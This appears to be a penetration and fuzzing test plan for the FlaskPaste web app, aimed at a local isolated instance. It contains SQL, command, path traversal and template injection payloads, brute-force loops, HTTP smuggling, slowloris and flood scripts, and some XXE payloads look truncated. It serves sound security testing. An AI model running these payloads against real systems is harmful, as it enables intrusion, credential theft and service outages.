# Offensive Security Testing Plan Comprehensive fuzzing and penetration testing for FlaskPaste. No restrictions. Break everything. --- ## Test Environment Setup ### Isolated Instance ```bash # Create isolated workspace export FUZZ_DIR="/tmp/flaskpaste-fuzz" mkdir -p "$FUZZ_DIR"/{db,logs,crashes,results} # Environment for isolated instance export FLASKPASTE_DATABASE="$FUZZ_DIR/db/fuzz.db" export FLASKPASTE_SECRET_KEY="fuzz-$(openssl rand -hex 16)" export FLASKPASTE_PKI_PASSWORD="fuzz-pki-password" export FLASKPASTE_REGISTRATION_ENABLED=true export FLASKPASTE_POW_DIFFICULTY=1 export FLASKPASTE_RATE_LIMIT_ENABLED=false export FLASKPASTE_PROXY_SECRET="" export FLASK_ENV=development export FLASK_DEBUG=0 # Start isolated instance cd /home/user/git/flaskpaste ./venv/bin/python run.py --host 127.0.0.1 --port 5099 2>&1 | tee "$FUZZ_DIR/logs/server.log" & FUZZ_PID=$! echo $FUZZ_PID > "$FUZZ_DIR/server.pid" # Target export TARGET="http://127.0.0.1:5099" ``` ### Teardown ```bash kill $(cat "$FUZZ_DIR/server.pid") 2>/dev/null rm -rf "$FUZZ_DIR" ``` --- ## Attack Surface ### Endpoints ``` ┌────────────────────────┬─────────────────┬─────────────────────────────────┐ │ Endpoint │ Methods │ Auth Required ├────────────────────────┼─────────────────┼─────────────────────────────────┤ │ / │ GET, POST │ PoW for POST │ /health │ GET │ No │ /challenge │ GET │ No │ /client │ GET │ No │ /register/challenge │ GET │ No │ /register │ POST │ PoW │ /pastes │ GET │ Client cert │ / │ GET, HEAD, PUT │ Optional password │ //raw │ GET, HEAD │ Optional password │ / │ DELETE │ Client cert + ownership │ /pki │ GET │ No │ /pki/ca │ POST │ PKI password │ /pki/ca.crt │ GET │ No │ /pki/issue │ POST │ Admin cert │ /pki/certs │ GET │ Admin cert │ /pki/revoke/ │ POST │ Admin cert │ /audit │ GET │ Admin cert └────────────────────────┴─────────────────┴─────────────────────────────────┘ ``` ### Input Vectors **Headers:** - `X-Forwarded-For` - IP spoofing - `X-Forwarded-Proto`, `X-Scheme` - Protocol injection - `X-Forwarded-Host`, `Host` - Host header injection - `X-Paste-Password` - Password bypass - `X-Proxy-Secret` - Auth bypass - `X-SSL-Client-SHA1` - Cert fingerprint spoofing - `X-PoW-Token`, `X-PoW-Solution` - PoW bypass - `X-Burn-After-Read` - Logic manipulation - `X-Expiry` - Time-based attacks - `X-Remove-Password`, `X-Extend-Expiry` - State manipulation - `Content-Type` - Parser confusion **Query Parameters:** - `limit`, `offset` - Integer overflow, negative values - `type`, `owner`, `event_type` - Injection - `after`, `before`, `since`, `until` - Time manipulation - `all` - Authorization bypass - `client_id`, `paste_id`, `outcome` - ID enumeration **URL Parameters:** - `paste_id` - Path traversal, injection, enumeration - `serial` - Certificate serial injection **Body:** - Raw bytes - Binary injection, null bytes - JSON - Type confusion, nested objects - Malformed encoding - UTF-8 attacks --- ## Phase 1: Reconnaissance & Enumeration ### Directory/Endpoint Fuzzing ```bash # Install tools pip install httpx aiohttp # ffuf - fast web fuzzer # Install: go install github.com/ffuf/ffuf/v2@latest ffuf -u "$TARGET/FUZZ" -w /usr/share/wordlists/dirb/common.txt \ -mc all -fc 404 -o "$FUZZ_DIR/results/endpoints.json" # Hidden endpoints ffuf -u "$TARGET/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \ -mc 200,201,301,302,400,401,403,405,500 -o "$FUZZ_DIR/results/hidden.json" # API versioning for v in v1 v2 v3 api api/v1 api/v2 _api internal debug admin; do curl -s -o /dev/null -w "%{http_code} /$v\n" "$TARGET/$v" done ``` ### Paste ID Enumeration ```bash # Sequential IDs for i in $(seq 1 1000); do curl -s -o /dev/null -w "%{http_code} $i\n" "$TARGET/$i" done | grep -v "^404" # Common patterns for id in test admin root debug null undefined NaN 0 -1 '' ' '; do curl -s -o /dev/null -w "%{http_code} '$id'\n" "$TARGET/$id" done ``` --- ## Phase 2: Input Fuzzing ### HTTP Method Fuzzing ```bash for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT \ PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK; do for endpoint in / /health /challenge /pastes /pki /audit; do code=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "$TARGET$endpoint") echo "$code $method $endpoint" done done | sort -u ``` ### Header Injection ```bash # Host header poisoning curl -v "$TARGET/" -H "Host: evil.com" curl -v "$TARGET/" -H "X-Forwarded-Host: evil.com" curl -v "$TARGET/" -H "X-Forwarded-For: 127.0.0.1" curl -v "$TARGET/" -H "X-Forwarded-For: ' OR 1=1--" # Proxy secret brute force for secret in '' admin password secret proxy 123456 test; do curl -s -o /dev/null -w "%{http_code} '$secret'\n" \ "$TARGET/pastes" -H "X-Proxy-Secret: $secret" done # Fake client cert fingerprint curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: 0000000000000000000000000000000000000000" curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: ' OR 1=1--" curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: ../../../etc/passwd" ``` ### PoW Bypass Attempts ```bash # Empty/malformed tokens curl -X POST "$TARGET/" -d "test" \ -H "X-PoW-Token: " -H "X-PoW-Solution: " curl -X POST "$TARGET/" -d "test" \ -H "X-PoW-Token: invalid" -H "X-PoW-Solution: 0" # Negative solution curl -X POST "$TARGET/" -d "test" \ -H "X-PoW-Token: $(curl -s $TARGET/challenge | jq -r .token)" \ -H "X-PoW-Solution: -1" # Overflow curl -X POST "$TARGET/" -d "test" \ -H "X-PoW-Token: test" \ -H "X-PoW-Solution: 99999999999999999999999999999999" # Token reuse (race condition) TOKEN=$(curl -s "$TARGET/challenge" | jq -r .token) # Solve it, then try to reuse ``` ### Content-Type Confusion ```bash # JSON body with wrong content-type curl -X POST "$TARGET/" -d '{"content":"test"}' \ -H "Content-Type: application/json" curl -X POST "$TARGET/" -d '{"content":"test"}' \ -H "Content-Type: text/plain" curl -X POST "$TARGET/" -d '{"content":"test"}' \ -H "Content-Type: application/x-www-form-urlencoded" # Multipart confusion curl -X POST "$TARGET/" -F "file=@/etc/passwd" \ -H "Content-Type: multipart/form-data" # XML injection attempt curl -X POST "$TARGET/" -d ']>&xxe;' \ -H "Content-Type: application/xml" ``` --- ## Phase 3: Injection Attacks ### SQL Injection ```bash # Paste ID injection SQLI_PAYLOADS=( "' OR '1'='1" "1' OR '1'='1'--" "1; DROP TABLE pastes;--" "1 UNION SELECT * FROM users--" "1' AND SLEEP(5)--" "1' AND (SELECT COUNT(*) FROM sqlite_master)>0--" "1/**/OR/**/1=1" "1' OR ''='" ) for payload in "${SQLI_PAYLOADS[@]}"; do encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))") curl -s -o /dev/null -w "%{http_code} %{time_total}s $payload\n" "$TARGET/$encoded" done # Header injection for payload in "${SQLI_PAYLOADS[@]}"; do curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \ "$TARGET/pastes" -H "X-SSL-Client-SHA1: $payload" done # sqlmap automated sqlmap -u "$TARGET/FUZZ" --batch --level=5 --risk=3 \ --technique=BEUSTQ --dbms=sqlite \ -o --output-dir="$FUZZ_DIR/results/sqlmap" ``` ### Path Traversal ```bash TRAVERSAL_PAYLOADS=( "../../../etc/passwd" "....//....//....//etc/passwd" "..%2f..%2f..%2fetc/passwd" "..%252f..%252f..%252fetc/passwd" "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd" "....\/....\/....\/etc/passwd" "..;/..;/..;/etc/passwd" "..//..//..//etc/passwd" ) for payload in "${TRAVERSAL_PAYLOADS[@]}"; do curl -s -o /dev/null -w "%{http_code} $payload\n" "$TARGET/$payload" curl -s -o /dev/null -w "%{http_code} $payload (raw)\n" "$TARGET/$payload/raw" done ``` ### Command Injection ```bash CMD_PAYLOADS=( "; ls -la" "| cat /etc/passwd" "\$(cat /etc/passwd)" "\`cat /etc/passwd\`" "|| cat /etc/passwd" "&& cat /etc/passwd" "; sleep 10" "| sleep 10" ) for payload in "${CMD_PAYLOADS[@]}"; do # In paste content curl -s -X POST "$TARGET/" -d "$payload" -o /dev/null -w "%{time_total}s\n" # In headers curl -s "$TARGET/" -H "X-Forwarded-For: $payload" -o /dev/null done ``` ### SSTI (Server-Side Template Injection) ```bash SSTI_PAYLOADS=( "{{7*7}}" "{{config}}" "{{self.__class__.__mro__[2].__subclasses__()}}" "${7*7}" "<%= 7*7 %>" "{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}" "{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}" ) for payload in "${SSTI_PAYLOADS[@]}"; do # Create paste with SSTI payload response=$(curl -s -X POST "$TARGET/" -d "$payload" \ -H "X-PoW-Token: test" -H "X-PoW-Solution: 0") echo "$response" | grep -q "49" && echo "SSTI CONFIRMED: $payload" done ``` --- ## Phase 4: Authentication & Authorization ### Certificate Fingerprint Attacks ```bash # Fingerprint enumeration for i in $(seq -w 00 ff); do fp="${i}00000000000000000000000000000000000000" code=$(curl -s -o /dev/null -w "%{http_code}" \ "$TARGET/pastes" -H "X-SSL-Client-SHA1: $fp") [ "$code" != "401" ] && echo "Hit: $fp -> $code" done # Known weak fingerprints WEAK_FPS=( "0000000000000000000000000000000000000000" "da39a3ee5e6b4b0d3255bfef95601890afd80709" # SHA1 of empty "ffffffffffffffffffffffffffffffffffffffff" ) for fp in "${WEAK_FPS[@]}"; do curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: $fp" done ``` ### Admin Privilege Escalation ```bash # Try to issue certs without admin curl -X POST "$TARGET/pki/issue" \ -H "Content-Type: application/json" \ -d '{"common_name": "hacker"}' # Try to access audit without admin curl "$TARGET/audit" # Certificate serial manipulation curl -X POST "$TARGET/pki/revoke/1" curl -X POST "$TARGET/pki/revoke/-1" curl -X POST "$TARGET/pki/revoke/999999999999" curl -X POST "$TARGET/pki/revoke/../../../" ``` ### Password Protection Bypass ```bash # Create password-protected paste, try to bypass PASTE_ID="test123" # Timing attack on password check for i in $(seq 1 100); do curl -s -o /dev/null -w "%{time_total}\n" \ "$TARGET/$PASTE_ID" -H "X-Paste-Password: wrong$i" done | sort -n # Empty password curl "$TARGET/$PASTE_ID" -H "X-Paste-Password: " # Null byte injection curl "$TARGET/$PASTE_ID" -H "X-Paste-Password: correct%00garbage" ``` --- ## Phase 5: Business Logic Attacks ### Race Conditions ```bash # Concurrent paste creation with same content (dedup bypass) for i in $(seq 1 100); do curl -s -X POST "$TARGET/" -d "race-test-content" & done wait # Burn-after-read race PASTE_ID="burn-test" # Create burn paste, then race to read multiple times for i in $(seq 1 50); do curl -s "$TARGET/$PASTE_ID" & done wait # Rate limit race for i in $(seq 1 200); do curl -s -X POST "$TARGET/" -d "rate-limit-test-$i" & done wait ``` ### Expiry Manipulation ```bash # Negative expiry curl -X POST "$TARGET/" -d "test" -H "X-Expiry: -1" curl -X POST "$TARGET/" -d "test" -H "X-Expiry: -999999999" # Overflow expiry curl -X POST "$TARGET/" -d "test" -H "X-Expiry: 999999999999999999" # Time travel curl -X POST "$TARGET/" -d "test" -H "X-Expiry: 0" # Extend beyond limits curl -X PUT "$TARGET/test-paste" -H "X-Extend-Expiry: 999999999" ``` ### Resource Exhaustion ```bash # Large paste (memory exhaustion) dd if=/dev/urandom bs=1M count=100 | curl -X POST "$TARGET/" --data-binary @- # Many small pastes (DB exhaustion) for i in $(seq 1 10000); do curl -s -X POST "$TARGET/" -d "flood-$i" & [ $((i % 100)) -eq 0 ] && wait done # Deep recursion in JSON python3 -c "print('{' * 1000 + '\"a\":1' + '}' * 1000)" | \ curl -X POST "$TARGET/pki/ca" -H "Content-Type: application/json" -d @- ``` --- ## Phase 6: Cryptographic Attacks ### PoW Token Analysis ```bash # Collect tokens for pattern analysis for i in $(seq 1 1000); do curl -s "$TARGET/challenge" | jq -r .token >> "$FUZZ_DIR/results/tokens.txt" done # Analyze randomness python3 << 'EOF' import base64 import collections with open("/tmp/flaskpaste-fuzz/results/tokens.txt") as f: tokens = [line.strip() for line in f] # Check for patterns for i, t in enumerate(tokens[:-1]): if t == tokens[i+1]: print(f"DUPLICATE TOKEN at {i}: {t}") # Byte distribution all_bytes = b''.join(base64.b64decode(t) for t in tokens if t) dist = collections.Counter(all_bytes) print(f"Byte distribution entropy: {len(dist)}/256") EOF ``` ### Timing Attacks ```bash # Password comparison timing python3 << 'EOF' import requests import statistics import time target = "http://127.0.0.1:5099" paste_id = "test-timing" # Measure response times for different password lengths results = {} for length in range(1, 20): password = "a" * length times = [] for _ in range(100): start = time.perf_counter() requests.get(f"{target}/{paste_id}", headers={"X-Paste-Password": password}) times.append(time.perf_counter() - start) results[length] = statistics.mean(times) print(f"Length {length}: {results[length]*1000:.3f}ms") # Look for timing differences EOF ``` ### Certificate Attacks ```bash # Generate malformed certificates openssl ecparam -name secp384r1 -genkey -out "$FUZZ_DIR/bad.key" # Self-signed with weird parameters openssl req -new -x509 -key "$FUZZ_DIR/bad.key" -out "$FUZZ_DIR/bad.crt" \ -days 1 -subj "/CN='; DROP TABLE certificates;--" # Try to register with malformed cert curl -X POST "$TARGET/register" \ --cert "$FUZZ_DIR/bad.crt" --key "$FUZZ_DIR/bad.key" # PKI password brute force COMMON_PASSWORDS=( "" "password" "admin" "123456" "pki" "secret" "flaskpaste" "certificate" "ca" "root" ) for pw in "${COMMON_PASSWORDS[@]}"; do code=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "$TARGET/pki/ca" \ -H "Content-Type: application/json" \ -d "{\"password\": \"$pw\"}") echo "$code $pw" done ``` --- ## Phase 7: Advanced Fuzzing ### Radamsa Mutations ```bash # Install radamsa # git clone https://gitlab.com/akihe/radamsa && cd radamsa && make && sudo make install # Generate mutated inputs echo "normal paste content" > "$FUZZ_DIR/seed.txt" for i in $(seq 1 1000); do radamsa "$FUZZ_DIR/seed.txt" | curl -s -X POST "$TARGET/" \ --data-binary @- -o /dev/null -w "%{http_code}\n" 2>/dev/null done | sort | uniq -c # Mutate JSON echo '{"common_name": "test"}' > "$FUZZ_DIR/seed.json" for i in $(seq 1 1000); do radamsa "$FUZZ_DIR/seed.json" | curl -s -X POST "$TARGET/pki/ca" \ -H "Content-Type: application/json" \ --data-binary @- -o /dev/null -w "%{http_code}\n" 2>/dev/null done | sort | uniq -c ``` ### AFL++ (if Python can be instrumented) ```bash # Python AFL instrumentation (experimental) pip install python-afl # Create harness cat > "$FUZZ_DIR/harness.py" << 'HARNESS' import afl import sys sys.path.insert(0, '/home/user/git/flaskpaste') from app import create_app app = create_app() afl.init() with app.test_client() as client: data = sys.stdin.buffer.read() try: client.post('/', data=data) except Exception: pass HARNESS # Run AFL # py-afl-fuzz -i "$FUZZ_DIR/seeds" -o "$FUZZ_DIR/afl-out" -- python "$FUZZ_DIR/harness.py" ``` ### Hypothesis Property Testing ```bash cat > "$FUZZ_DIR/hypothesis_fuzz.py" << 'HYPO' import hypothesis from hypothesis import given, strategies as st, settings import requests import os TARGET = os.environ.get("TARGET", "http://127.0.0.1:5099") @settings(max_examples=10000, deadline=None) @given(st.binary(min_size=0, max_size=10000)) def test_paste_content(content): """Fuzz paste content with arbitrary bytes.""" try: r = requests.post(TARGET + "/", data=content, timeout=5) assert r.status_code in (201, 400, 413, 429, 503) except requests.exceptions.RequestException: pass @settings(max_examples=10000, deadline=None) @given(st.text(min_size=0, max_size=1000)) def test_paste_id(paste_id): """Fuzz paste ID retrieval.""" try: r = requests.get(f"{TARGET}/{paste_id}", timeout=5) assert r.status_code in (200, 400, 404, 410) except requests.exceptions.RequestException: pass @settings(max_examples=5000, deadline=None) @given( st.dictionaries( st.text(min_size=1, max_size=50), st.one_of(st.text(), st.integers(), st.floats(), st.none(), st.booleans()), min_size=0, max_size=20 ) ) def test_pki_json(data): """Fuzz PKI endpoints with arbitrary JSON.""" try: r = requests.post( TARGET + "/pki/ca", json=data, timeout=5 ) assert r.status_code in (200, 201, 400, 401, 403, 409, 500) except requests.exceptions.RequestException: pass @settings(max_examples=5000, deadline=None) @given(st.dictionaries(st.text(), st.text(), min_size=0, max_size=30)) def test_arbitrary_headers(headers): """Fuzz with arbitrary headers.""" safe_headers = {k[:100]: v[:1000] for k, v in headers.items() if k and not k.lower().startswith(('host', 'content-length'))} try: r = requests.get(TARGET + "/", headers=safe_headers, timeout=5) except requests.exceptions.RequestException: pass if __name__ == "__main__": test_paste_content() test_paste_id() test_pki_json() test_arbitrary_headers() HYPO pip install hypothesis requests python "$FUZZ_DIR/hypothesis_fuzz.py" ``` ### Atheris (LibFuzzer for Python) ```bash cat > "$FUZZ_DIR/atheris_fuzz.py" << 'ATHERIS' import atheris import sys with atheris.instrument_imports(): sys.path.insert(0, '/home/user/git/flaskpaste') from app import create_app from app.database import init_db import tempfile import os # Create isolated app tmpdir = tempfile.mkdtemp() os.environ['FLASKPASTE_DATABASE'] = f'{tmpdir}/fuzz.db' app = create_app() def TestOneInput(data): with app.test_client() as client: fdp = atheris.FuzzedDataProvider(data) # Fuzz endpoint endpoint = fdp.ConsumeUnicodeNoSurrogates(100) method = fdp.PickValueInList(['GET', 'POST', 'PUT', 'DELETE', 'HEAD']) body = fdp.ConsumeBytes(fdp.remaining_bytes()) try: if method == 'GET': client.get(f'/{endpoint}') elif method == 'POST': client.post(f'/{endpoint}', data=body) elif method == 'PUT': client.put(f'/{endpoint}', data=body) elif method == 'DELETE': client.delete(f'/{endpoint}') elif method == 'HEAD': client.head(f'/{endpoint}') except Exception: pass if __name__ == "__main__": atheris.Setup(sys.argv, TestOneInput) atheris.Fuzz() ATHERIS pip install atheris python "$FUZZ_DIR/atheris_fuzz.py" -max_len=10000 -runs=100000 ``` --- ## Phase 8: Protocol-Level Attacks ### HTTP Smuggling ```bash # CL.TE smuggling attempt printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nSMUGGLED' | \ nc 127.0.0.1 5099 # TE.CL smuggling attempt printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 3\r\nTransfer-Encoding: chunked\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n' | \ nc 127.0.0.1 5099 # Double Content-Length printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 5\r\nContent-Length: 100\r\n\r\nHELLO' | \ nc 127.0.0.1 5099 ``` ### HTTP/2 Attacks (if applicable) ```bash # h2c smuggling curl --http2 "$TARGET/" curl --http2-prior-knowledge "$TARGET/" # HPACK bomb # Requires specialized tools ``` ### Slowloris / Slow POST ```bash # Slow headers python3 << 'EOF' import socket import time sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("127.0.0.1", 5099)) sock.send(b"POST / HTTP/1.1\r\nHost: target\r\n") for i in range(100): sock.send(f"X-Header-{i}: {'A'*100}\r\n".encode()) time.sleep(1) print(f"Sent header {i}") EOF # Slow body python3 << 'EOF' import socket import time sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("127.0.0.1", 5099)) sock.send(b"POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 1000000\r\n\r\n") for i in range(1000): sock.send(b"A") time.sleep(0.1) print(f"Sent byte {i}") EOF ``` --- ## Phase 9: Specialized Tools ### Nuclei Templates ```bash # Install nuclei go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest # Run all templates nuclei -u "$TARGET" -t nuclei-templates/ -o "$FUZZ_DIR/results/nuclei.txt" # Custom template for FlaskPaste cat > "$FUZZ_DIR/flaskpaste.yaml" << 'TEMPLATE' id: flaskpaste-pow-bypass info: name: FlaskPaste PoW Bypass severity: high requests: - method: POST path: - "{{BaseURL}}/" headers: X-PoW-Token: "invalid" X-PoW-Solution: "0" body: "test" matchers: - type: status status: - 201 TEMPLATE nuclei -u "$TARGET" -t "$FUZZ_DIR/flaskpaste.yaml" ``` ### Burp Suite / ZAP Automation ```bash # OWASP ZAP API scan docker run -t owasp/zap2docker-stable zap-api-scan.py \ -t "$TARGET" -f openapi -r "$FUZZ_DIR/results/zap-report.html" # ZAP baseline scan docker run -t owasp/zap2docker-stable zap-baseline.py \ -t "$TARGET" -r "$FUZZ_DIR/results/zap-baseline.html" ``` ### Custom Python Fuzzer ```python #!/usr/bin/env python3 """Comprehensive FlaskPaste fuzzer.""" import asyncio import aiohttp import random import string import hashlib import json import os from pathlib import Path TARGET = os.environ.get("TARGET", "http://127.0.0.1:5099") RESULTS_DIR = Path(os.environ.get("FUZZ_DIR", "/tmp/flaskpaste-fuzz")) / "results" RESULTS_DIR.mkdir(parents=True, exist_ok=True) # Payload generators def random_bytes(n): return bytes(random.getrandbits(8) for _ in range(n)) def random_string(n): return ''.join(random.choices(string.printable, k=n)) def null_bytes(): return b'\x00' * random.randint(1, 100) def unicode_bombs(): return random.choice([ '\u202e' * 100, # RTL override '\ufeff' * 100, # BOM '\u0000' * 100, # Null 'A\u0300' * 100, # Combining chars '\U0001F4A9' * 100, # Emoji ]) async def fuzz_endpoint(session, method, path, **kwargs): try: async with session.request(method, f"{TARGET}{path}", **kwargs, timeout=5) as r: return r.status, await r.text() except Exception as e: return None, str(e) async def fuzz_paste_creation(session): """Fuzz paste creation with various payloads.""" payloads = [ random_bytes(random.randint(1, 10000)), null_bytes(), unicode_bombs().encode(), b'A' * 100_000_000, # 100MB json.dumps({"nested": {"deep": {"structure": True}}}).encode(), b']>&xxe;', ] for payload in payloads: status, body = await fuzz_endpoint(session, 'POST', '/', data=payload) if status and status not in (201, 400, 413, 429, 503): print(f"UNEXPECTED: POST / -> {status}") with open(RESULTS_DIR / "anomalies.log", "a") as f: f.write(f"POST / payload={payload[:100]!r} status={status}\n") async def fuzz_headers(session): """Fuzz with malicious headers.""" headers_payloads = [ {"X-Forwarded-For": "' OR 1=1--"}, {"X-SSL-Client-SHA1": "../../../etc/passwd"}, {"X-PoW-Token": "A" * 10000}, {"X-Expiry": "-1"}, {"X-Expiry": "99999999999999999999"}, {"Host": "evil.com\r\nX-Injected: true"}, {"Content-Type": "text/html; charset=utf-8\r\nX-Injected: true"}, ] for headers in headers_payloads: status, body = await fuzz_endpoint(session, 'GET', '/', headers=headers) if "X-Injected" in body: print(f"HEADER INJECTION FOUND: {headers}") async def fuzz_path_traversal(session): """Fuzz for path traversal.""" paths = [ "/../../../etc/passwd", "/....//....//....//etc/passwd", "/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd", "/..%252f..%252f..%252fetc/passwd", "/", "/{{7*7}}", "/${7*7}", ] for path in paths: status, body = await fuzz_endpoint(session, 'GET', path) if status == 200 and ("root:" in body or "49" in body or "alert" in body): print(f"VULNERABILITY FOUND: {path}") async def main(): async with aiohttp.ClientSession() as session: await asyncio.gather( fuzz_paste_creation(session), fuzz_headers(session), fuzz_path_traversal(session), ) if __name__ == "__main__": asyncio.run(main()) ``` --- ## Phase 10: Crash Analysis ### Monitor for Crashes ```bash # Watch server logs for errors tail -f "$FUZZ_DIR/logs/server.log" | grep -iE "error|exception|traceback|crash|segfault" | \ tee "$FUZZ_DIR/crashes/errors.log" # Monitor process while true; do if ! kill -0 $(cat "$FUZZ_DIR/server.pid") 2>/dev/null; then echo "SERVER CRASHED at $(date)" >> "$FUZZ_DIR/crashes/crash.log" # Restart and continue cd /home/user/git/flaskpaste ./venv/bin/python run.py --host 127.0.0.1 --port 5099 & echo $! > "$FUZZ_DIR/server.pid" fi sleep 1 done ``` ### Reproduce Crashes ```bash # Replay payloads that caused issues for payload in "$FUZZ_DIR/crashes"/*.payload; do echo "Replaying: $payload" curl -X POST "$TARGET/" --data-binary "@$payload" -v done ``` --- ## Results Collection ### Summary Report ```bash cat > "$FUZZ_DIR/generate_report.sh" << 'REPORT' #!/bin/bash echo "# FlaskPaste Fuzzing Results" echo "Generated: $(date)" echo "" echo "## Statistics" echo "- Total requests: $(wc -l < "$FUZZ_DIR/logs/server.log" 2>/dev/null || echo 0)" echo "- Crashes detected: $(wc -l < "$FUZZ_DIR/crashes/crash.log" 2>/dev/null || echo 0)" echo "- Anomalies: $(wc -l < "$FUZZ_DIR/results/anomalies.log" 2>/dev/null || echo 0)" echo "" echo "## Findings" cat "$FUZZ_DIR/results/anomalies.log" 2>/dev/null echo "" echo "## Tool Results" for f in "$FUZZ_DIR/results"/*.txt "$FUZZ_DIR/results"/*.json; do [ -f "$f" ] && echo "### $(basename $f)" && head -50 "$f" done REPORT chmod +x "$FUZZ_DIR/generate_report.sh" ``` --- ## Quick Start ```bash # One-liner to run everything export FUZZ_DIR="/tmp/flaskpaste-fuzz" export TARGET="http://127.0.0.1:5099" mkdir -p "$FUZZ_DIR"/{db,logs,crashes,results} # Start server cd /home/user/git/flaskpaste FLASKPASTE_DATABASE="$FUZZ_DIR/db/fuzz.db" \ FLASKPASTE_POW_DIFFICULTY=1 \ FLASKPASTE_RATE_LIMIT_ENABLED=false \ ./venv/bin/python run.py --host 127.0.0.1 --port 5099 & # Run fuzzing phases sleep 2 ./fuzz-phase1.sh # Recon ./fuzz-phase2.sh # Input fuzzing ./fuzz-phase3.sh # Injection # ... etc # Generate report ./generate_report.sh > "$FUZZ_DIR/REPORT.md" ```